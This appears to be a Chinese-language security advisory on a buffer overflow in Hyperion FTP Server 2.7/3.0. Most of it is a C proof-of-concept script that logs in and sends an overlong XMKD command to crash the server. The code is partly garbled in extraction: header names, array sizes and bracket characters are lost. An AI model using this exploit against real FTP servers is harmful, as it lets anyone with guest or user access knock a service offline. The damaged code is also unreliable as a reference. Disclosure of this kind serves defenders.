涉及程序： Hyperion FTP Server 2.7版/3.0版 描述： Hyperion FTP Server 存在缓冲溢出缺陷 详细： Hyperion FTP Server是一款基于Windows的小型FTP服务器。Hyperion FTP server程序存在缺陷，能允许远程攻击者通过使用特殊命令(mkdir命令)，向目标机器的缓冲区添加超过251字节长度的数据，将引发缺陷并导致服务器崩溃。有效鉴定用户和guest/匿名用户(如果是激活的)都能将特殊命令发送到FTP服务器。 当受该缺陷影响时，Hyperion FTP Server将显示“Segmentatin fault”。 攻击方法： 示例代码： #include #include #include #define A 0x41 #define PORT 21 #define MAX_BUFFER 255 #define MAX_PACKET_BUFFER 1024 int winsock(void); void usage(char *prog_name) { printf("Usage: %s \n", prog_name); exit(-1); } int main(int argc, char *argv<>) { char buffer , packet_buffer ; long rc = winsock(); SOCKET s = socket(AF_INET, SOCK_STREAM, 0); SOCKADDR_IN addr; if(argc < 4) usage(argv<0>); if(s == INVALID_SOCKET) { printf("Can`t start Socket!, Error code: %d\n", WSAGetLastError()); return 1; } if(rc != 0) { printf("Can`t start Winsock!, Error code: %d\n", rc); return 1; } memset(&addr, 0, sizeof(SOCKADDR_IN)); addr.sin_family = AF_INET; addr.sin_port = htons(PORT); addr.sin_addr.s_addr = inet_addr((char*)argv<1>); rc = connect(s,(SOCKADDR*)&addr, sizeof(SOCKADDR)); if(rc == SOCKET_ERROR) { printf("Can`t connect!, Error code: %d\n", WSAGetLastError()); return 1; } printf("Connected to %s \n", argv<1>); printf("Preparing attack!\n"); recv(s,(char *)packet_buffer,MAX_PACKET_BUFFER,0); sprintf((char *)packet_buffer,"USER %s\r\n",argv<2>); send(s,(char *)packet_buffer,strlen((char *)packet_buffer),0); recv(s,(char *)packet_buffer,MAX_PACKET_BUFFER,0); sprintf((char *)packet_buffer,"PASS %s\r\n",argv<3>); send(s,(char *)packet_buffer,strlen((char *)packet_buffer),0); recv(s,(char *)packet_buffer,MAX_PACKET_BUFFER,0); memset(buffer,A,MAX_BUFFER); buffer =0; sprintf((char *)packet_buffer,\"XMKD %s\\r\\n\",buffer); send(s,(char *)packet_buffer,strlen((char *)packet_buffer),0); recv(s,(char *)packet_buffer,MAX_PACKET_BUFFER,0); Sleep(1000); shutdown(s, 2); closesocket(s); WSACleanup(); printf(\"Attack done!\"); return 0; } int winsock(void) { WSADATA wsa; return WSAStartup(MAKEWORD(2,0), &wsa); } 解决方案： 目前厂商未公布该缺陷补丁，请用户及时关注厂商站点： http://www.mollensoft.com